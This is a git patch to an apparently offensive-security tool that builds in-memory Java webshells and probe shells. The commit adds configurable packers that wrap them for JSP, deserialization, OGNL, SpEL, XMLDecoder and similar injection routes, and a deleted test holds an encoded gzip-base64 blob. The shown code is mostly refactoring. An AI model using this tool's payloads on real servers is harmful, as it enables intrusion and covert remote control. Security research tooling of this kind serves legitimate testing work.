From 9243070126913e1cbf236977768cd8d690b68be1 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Thu, 26 Feb 2026 16:43:12 +0800 Subject: [PATCH] feat: support packer config --- .../boot/api/GlobalExceptionHandler.java | 6 + .../boot/controller/ConfigController.java | 84 ++++- .../MemShellGeneratorController.java | 21 +- .../ProbeShellGeneratorController.java | 15 +- .../boot/dto/MemShellGenerateRequest.java | 5 +- .../boot/dto/PackerRequestSpecDTO.java | 25 ++ .../boot/dto/ProbeShellGenerateRequest.java | 3 +- .../ConfigControllerIntegrationTest.java | 12 +- .../MemShellGeneratorControllerTest.java | 35 +- build.gradle.kts | 2 +- .../memshell/packer/GzipBase64Test.java | 68 ---- gradle/libs.versions.toml | 30 +- .../integration/AbstractContainerTest.java | 2 +- .../javaweb/integration/ShellAssertion.java | 4 +- packer/build.gradle.kts | 5 +- .../javaweb/packer/AggregatePacker.java | 50 --- .../javaweb/packer/ClassPackerConfig.java | 3 +- .../javaweb/packer/JarPackerConfig.java | 3 +- .../com/reajason/javaweb/packer/Packer.java | 79 ++++- .../javaweb/packer/PackerConfigConverter.java | 27 ++ .../com/reajason/javaweb/packer/Packers.java | 57 +++- .../com/reajason/javaweb/packer/Util.java | 12 + .../base64/Base64CustomPackerConfig.java | 37 +++ .../javaweb/packer/base64/Base64Packer.java | 38 ++- .../packer/base64/Base64URLEncoded.java | 21 -- .../packer/base64/DefaultBase64Packer.java | 15 - .../packer/base64/GzipBase64Packer.java | 30 -- .../deserialize/hessian/Hessian2Packer.java | 11 +- .../deserialize/hessian/HessianPacker.java | 11 +- .../java/JavaDeserializePacker.java | 13 +- .../javaweb/packer/groovy/GroovyPacker.java | 11 +- .../reajason/javaweb/packer/h2/H2Packer.java | 11 +- .../javaweb/packer/jar/DefaultJarPacker.java | 3 +- .../packer/jar/GroovyTransformJarPacker.java | 3 +- .../packer/jar/ScriptEngineJarPacker.java | 3 +- .../packer/jsp/ClassLoaderJspPacker.java | 17 +- .../jsp/ClassLoaderJspUnicodePacker.java | 12 - .../packer/jsp/DefineClassJspPacker.java | 19 +- .../jsp/DefineClassJspUnicodePacker.java | 20 -- .../packer/jsp/JspCustomPackerConfig.java | 30 ++ .../javaweb/packer/jsp/JspPacker.java | 12 +- .../javaweb/packer/jsp/JspxPacker.java | 19 +- .../javaweb/packer/jsp/JspxUnicodePacker.java | 13 - .../javaweb/packer/jxpath/JXPathPacker.java | 11 +- .../jxpath/JXPathSpringGzipJDK17Packer.java | 4 +- .../packer/jxpath/JXPathSpringGzipPacker.java | 4 +- .../javaweb/packer/ognl/OGNLPacker.java | 11 +- .../ognl/OGNLSpringGzipJDK17Packer.java | 4 +- .../packer/ognl/OGNLSpringGzipPacker.java | 4 +- .../scriptengine/ScriptEnginePacker.java | 10 +- .../packer/spec/PackerFieldSchema.java | 20 ++ .../javaweb/packer/spec/PackerFieldType.java | 11 + .../packer/spec/PackerOptionValue.java | 16 + .../packer/spec/PackerRequestSpec.java | 15 + .../javaweb/packer/spec/PackerSchema.java | 21 ++ .../javaweb/packer/spel/SpELPacker.java | 10 +- .../spel/SpELSpringGzipJDK17Packer.java | 4 +- .../packer/spel/SpELSpringGzipPacker.java | 4 +- .../translet/AbstractTransletPacker.java | 10 +- .../packer/xmldecoder/XMLDecoderPacker.java | 11 +- .../packer/PackerCustomConfigTest.java | 91 ++++++ .../packer/jsp/JspCustomPackerConfigTest.java | 75 +++++ .../memshell/package-config-card.tsx | 151 ++++++--- .../memshell/results/multi-packer.tsx | 135 -------- .../memshell/results/result-component.tsx | 21 +- web/app/components/memshell/shell-result.tsx | 5 +- web/app/components/packer/packer-combobox.tsx | 147 +++++++++ .../packer/packer-custom-config-fields.tsx | 205 ++++++++++++ .../probeshell/package-config-card.tsx | 151 +++++---- .../components/probeshell/shell-result.tsx | 18 +- web/app/components/ui/combobox.tsx | 300 ++++++++++++++++++ web/app/components/ui/command.tsx | 191 +++++++++++ web/app/components/ui/dialog.tsx | 156 +++++++++ web/app/components/ui/input-group.tsx | 156 +++++++++ web/app/i18n/common/en.json | 4 + web/app/i18n/common/zh-CN.json | 4 + web/app/lib/packer-schema.ts | 101 ++++++ web/app/routes/memshell.tsx | 8 +- web/app/routes/probeshell.tsx | 6 +- web/app/types/memshell.ts | 39 ++- web/app/types/probeshell.ts | 1 - web/app/types/schema.ts | 2 + web/app/utils/transformer.ts | 10 +- web/bun.lock | 21 +- web/package.json | 3 +- 85 files changed, 2410 insertions(+), 658 deletions(-) create mode 100644 boot/src/main/java/com/reajason/javaweb/boot/dto/PackerRequestSpecDTO.java delete mode 100644 generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java delete mode 100644 packer/src/main/java/com/reajason/javaweb/packer/AggregatePacker.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/PackerConfigConverter.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/base64/Base64CustomPackerConfig.java delete mode 100644 packer/src/main/java/com/reajason/javaweb/packer/base64/Base64URLEncoded.java delete mode 100644 packer/src/main/java/com/reajason/javaweb/packer/base64/DefaultBase64Packer.java delete mode 100644 packer/src/main/java/com/reajason/javaweb/packer/base64/GzipBase64Packer.java delete mode 100644 packer/src/main/java/com/reajason/javaweb/packer/jsp/ClassLoaderJspUnicodePacker.java delete mode 100644 packer/src/main/java/com/reajason/javaweb/packer/jsp/DefineClassJspUnicodePacker.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/jsp/JspCustomPackerConfig.java delete mode 100644 packer/src/main/java/com/reajason/javaweb/packer/jsp/JspxUnicodePacker.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/spec/PackerFieldSchema.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/spec/PackerFieldType.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/spec/PackerOptionValue.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/spec/PackerRequestSpec.java create mode 100644 packer/src/main/java/com/reajason/javaweb/packer/spec/PackerSchema.java create mode 100644 packer/src/test/java/com/reajason/javaweb/packer/PackerCustomConfigTest.java create mode 100644 packer/src/test/java/com/reajason/javaweb/packer/jsp/JspCustomPackerConfigTest.java delete mode 100644 web/app/components/memshell/results/multi-packer.tsx create mode 100644 web/app/components/packer/packer-combobox.tsx create mode 100644 web/app/components/packer/packer-custom-config-fields.tsx create mode 100644 web/app/components/ui/combobox.tsx create mode 100644 web/app/components/ui/command.tsx create mode 100644 web/app/components/ui/dialog.tsx create mode 100644 web/app/components/ui/input-group.tsx create mode 100644 web/app/lib/packer-schema.ts diff --git a/boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java b/boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java index f7a772e4..a831065e 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/api/GlobalExceptionHandler.java @@ -29,6 +29,12 @@ public class GlobalExceptionHandler { return new ErrorResponse(exception.getMessage()); } + @ResponseStatus(HttpStatus.BAD_REQUEST) + @ExceptionHandler(IllegalArgumentException.class) + public ErrorResponse handleIllegalArgumentException(IllegalArgumentException exception) { + return new ErrorResponse(exception.getMessage()); + } + @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR) @ExceptionHandler(Throwable.class) public ErrorResponse handleThrowable(Throwable throwable) { diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java index 35bd6384..009bd580 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java @@ -34,10 +34,24 @@ public class ConfigController { } @RequestMapping("/packers") - public List getPackers() { - return Arrays.stream(Packers.values()) - .filter(packers -> packers.getParentPacker() == null) - .map(Packers::name).toList(); + public List getPackers() { + List result = new ArrayList<>(); + for (Map.Entry> entry : Packers.groupedPackers().entrySet()) { + PackerCategoryDTO category = new PackerCategoryDTO(); + category.setName(entry.getKey()); + List options = new ArrayList<>(); + for (Packers packer : entry.getValue()) { + PackerOptionDTO option = new PackerOptionDTO(); + option.setName(packer.name()); + option.setOutputKind(packer.getOutputKind()); + option.setCategoryAnchor(packer.hasChildren()); + option.setSchema(packer.getSchema()); + options.add(option); + } + category.setPackers(options); + result.add(category); + } + return result; } @RequestMapping @@ -66,4 +80,64 @@ public class ConfigController { commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList()); return commandConfigVO; } -} \ No newline at end of file + + public static class PackerCategoryDTO { + private String name; + private List packers; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public List getPackers() { + return packers; + } + + public void setPackers(List packers) { + this.packers = packers; + } + } + + public static class PackerOptionDTO { + private String name; + private String outputKind; + private boolean categoryAnchor; + private Object schema; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getOutputKind() { + return outputKind; + } + + public void setOutputKind(String outputKind) { + this.outputKind = outputKind; + } + + public boolean isCategoryAnchor() { + return categoryAnchor; + } + + public void setCategoryAnchor(boolean categoryAnchor) { + this.categoryAnchor = categoryAnchor; + } + + public Object getSchema() { + return schema; + } + + public void setSchema(Object schema) { + this.schema = schema; + } + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java index 7de47c09..ee0a6fdf 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java @@ -7,9 +7,11 @@ import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellToolConfig; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.JarPacker; +import com.reajason.javaweb.packer.JarPackerConfig; import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; import org.springframework.web.bind.annotation.*; import java.util.Base64; @@ -22,19 +24,24 @@ import java.util.Base64; @RequestMapping("/api/memshell/generate") @CrossOrigin("*") public class MemShellGeneratorController { + @PostMapping public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest request) { ShellConfig shellConfig = request.getShellConfig(); ShellToolConfig shellToolConfig = request.parseShellToolConfig(); InjectorConfig injectorConfig = request.getInjectorConfig(); MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig); - Packer packer = request.getPacker().getInstance(); - if (packer instanceof AggregatePacker) { - return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); + if (request.getPackerSpec() == null) { + throw new IllegalArgumentException("packerSpec is required"); } + Packers packers = Packers.fromName(request.getPackerSpec().getName()); + Packer packer = packers.getInstance(); if (packer instanceof JarPacker) { - return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig()))); + JarPackerConfig jarPackerConfig = generateResult.toJarPackerConfig(); + return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(jarPackerConfig))); } - return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); + ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig(); + classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig())); + return new MemShellGenerateResponse(generateResult, packer.pack(classPackerConfig)); } -} \ No newline at end of file +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java b/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java index dda717c1..07460940 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/controller/ProbeShellGeneratorController.java @@ -2,8 +2,9 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.boot.dto.ProbeShellGenerateRequest; import com.reajason.javaweb.boot.dto.ProbeShellGenerateResponse; -import com.reajason.javaweb.packer.AggregatePacker; +import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.probe.ProbeShellGenerator; import com.reajason.javaweb.probe.ProbeShellResult; import com.reajason.javaweb.probe.config.ProbeConfig; @@ -23,11 +24,13 @@ public class ProbeShellGeneratorController { ProbeConfig probeConfig = request.getProbeConfig(); ProbeContentConfig probeContentConfig = request.parseProbeContentConfig(); ProbeShellResult generateResult = ProbeShellGenerator.generate(probeConfig, probeContentConfig); - Packer packer = request.getPacker().getInstance(); - if (packer instanceof AggregatePacker) { - return new ProbeShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig())); - } else { - return new ProbeShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig())); + if (request.getPackerSpec() == null) { + throw new IllegalArgumentException("packerSpec is required"); } + Packers packers = Packers.fromName(request.getPackerSpec().getName()); + Packer packer = packers.getInstance(); + ClassPackerConfig classPackerConfig = generateResult.toClassPackerConfig(); + classPackerConfig.setCustomConfig(packer.resolveCustomConfig(request.getPackerSpec().getConfig())); + return new ProbeShellGenerateResponse(generateResult, packer.pack(classPackerConfig)); } } diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java index dee28166..08e888ea 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java @@ -1,7 +1,6 @@ package com.reajason.javaweb.boot.dto; import com.reajason.javaweb.memshell.config.*; -import com.reajason.javaweb.packer.Packers; import lombok.Data; import static com.reajason.javaweb.memshell.ShellTool.*; @@ -15,7 +14,7 @@ public class MemShellGenerateRequest { private ShellConfig shellConfig; private ShellToolConfigDTO shellToolConfig; private InjectorConfig injectorConfig; - private Packers packer; + private PackerRequestSpecDTO packerSpec; @Data public static class ShellToolConfigDTO { @@ -84,4 +83,4 @@ public class MemShellGenerateRequest { default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool()); }; } -} \ No newline at end of file +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/PackerRequestSpecDTO.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/PackerRequestSpecDTO.java new file mode 100644 index 00000000..e04d8682 --- /dev/null +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/PackerRequestSpecDTO.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.boot.dto; + +import com.reajason.javaweb.packer.spec.PackerRequestSpec; +import lombok.Data; + +import java.util.LinkedHashMap; +import java.util.Map; + +/** + * Packer selection request payload. + */ +@Data +public class PackerRequestSpecDTO { + private String name; + private Map config = new LinkedHashMap<>(); + + public PackerRequestSpec toPackerRequestSpec() { + PackerRequestSpec spec = new PackerRequestSpec(); + spec.setName(name); + if (config != null) { + spec.setConfig(config); + } + return spec; + } +} diff --git a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java index c8c8cdf3..dad4d187 100644 --- a/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java +++ b/boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java @@ -1,6 +1,5 @@ package com.reajason.javaweb.boot.dto; -import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.probe.config.*; import lombok.Data; @@ -12,7 +11,7 @@ import lombok.Data; public class ProbeShellGenerateRequest { private ProbeConfig probeConfig; private ProbeContentConfigDTO probeContentConfig; - private Packers packer; + private PackerRequestSpecDTO packerSpec; @Data static class ProbeContentConfigDTO { diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java index 712e9697..02133b69 100644 --- a/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java @@ -9,9 +9,12 @@ import org.springframework.http.ResponseEntity; import java.util.List; import java.util.Map; +import java.util.Objects; import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertFalse; import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertTrue; /** * @author ReaJason @@ -37,11 +40,4 @@ public class ConfigControllerIntegrationTest { assertEquals(HttpStatus.OK, response.getStatusCode()); assertNotNull(response.getBody()); } - - @Test - public void testConfigPackersEndpoint() { - ResponseEntity response = restTemplate.getForEntity("/api/config/packers", List.class); - assertEquals(HttpStatus.OK, response.getStatusCode()); - assertNotNull(response.getBody()); - } -} \ No newline at end of file +} diff --git a/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java b/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java index eaac9fbd..1ecb1909 100644 --- a/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java +++ b/boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java @@ -3,11 +3,11 @@ package com.reajason.javaweb.boot.controller; import com.reajason.javaweb.Server; import com.reajason.javaweb.boot.dto.MemShellGenerateRequest; import com.reajason.javaweb.boot.dto.MemShellGenerateResponse; +import com.reajason.javaweb.boot.dto.PackerRequestSpecDTO; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.InjectorConfig; import com.reajason.javaweb.memshell.config.ShellConfig; -import com.reajason.javaweb.packer.Packers; import org.junit.jupiter.api.Test; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; @@ -15,6 +15,8 @@ import org.springframework.boot.test.web.client.TestRestTemplate; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; +import java.util.Map; + import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.Assertions.assertNotNull; @@ -30,6 +32,23 @@ class MemShellGeneratorControllerTest { @Test void generateShell() { + MemShellGenerateRequest request = buildRequest("ScriptEngine", null); + ResponseEntity response = restTemplate.postForEntity( + "/api/memshell/generate", request, MemShellGenerateResponse.class); + assertEquals(HttpStatus.OK, response.getStatusCode()); + assertNotNull(response.getBody()); + } + + @Test + void generateJspxShellWithCustomConfig() { + MemShellGenerateRequest request = buildRequest("JSPX", Map.of("unicode", true)); + ResponseEntity response = restTemplate.postForEntity( + "/api/memshell/generate", request, MemShellGenerateResponse.class); + assertEquals(HttpStatus.OK, response.getStatusCode()); + assertNotNull(response.getBody()); + } + + private static MemShellGenerateRequest buildRequest(String packerName, Map packerConfig) { MemShellGenerateRequest request = new MemShellGenerateRequest(); request.setShellConfig(ShellConfig.builder() .server(Server.Tomcat) @@ -43,16 +62,18 @@ class MemShellGeneratorControllerTest { request.setInjectorConfig(InjectorConfig.builder() .urlPattern("/*") .build()); - request.setPacker(Packers.ScriptEngine); + PackerRequestSpecDTO packerRequestSpecDTO = new PackerRequestSpecDTO(); + packerRequestSpecDTO.setName(packerName); + if (packerConfig != null) { + packerRequestSpecDTO.setConfig(packerConfig); + } + request.setPackerSpec(packerRequestSpecDTO); MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO(); shellToolConfigDTO.setGodzillaKey("key"); shellToolConfigDTO.setGodzillaPass("pass"); shellToolConfigDTO.setHeaderName("User-Agent"); shellToolConfigDTO.setHeaderValue("hello"); request.setShellToolConfig(shellToolConfigDTO); - ResponseEntity response = restTemplate.postForEntity( - "/api/memshell/generate", request, MemShellGenerateResponse.class); - assertEquals(HttpStatus.OK, response.getStatusCode()); - assertNotNull(response.getBody()); + return request; } -} \ No newline at end of file +} diff --git a/build.gradle.kts b/build.gradle.kts index 5f5c3b78..c8704567 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.6.0" +version = "2.7.0-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java b/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java deleted file mode 100644 index fd13e553..00000000 --- a/generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java +++ /dev/null @@ -1,68 +0,0 @@ -package com.reajason.javaweb.memshell.packer; - -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.packer.base64.GzipBase64Packer; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import org.junit.jupiter.api.Test; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.Base64; -import java.util.zip.GZIPInputStream; - -import static org.junit.jupiter.api.Assertions.assertEquals; - - - -/** - * @author ReaJason - * @since 2025/1/22 - */ -class GzipBase64Test { - - @Test - @SneakyThrows - void compress() { - MemShellResult generateResult = new MemShellResult(); - generateResult.setInjectorBytes("hello world".getBytes()); - String pack = new GzipBase64Packer().pack(generateResult.toClassPackerConfig()); - assertEquals("hello world", new String(CommonUtil.gzipDecompress(Base64.getDecoder().decode(pack)))); - } - - @Test - @SneakyThrows - void decompress() { - String var9 = "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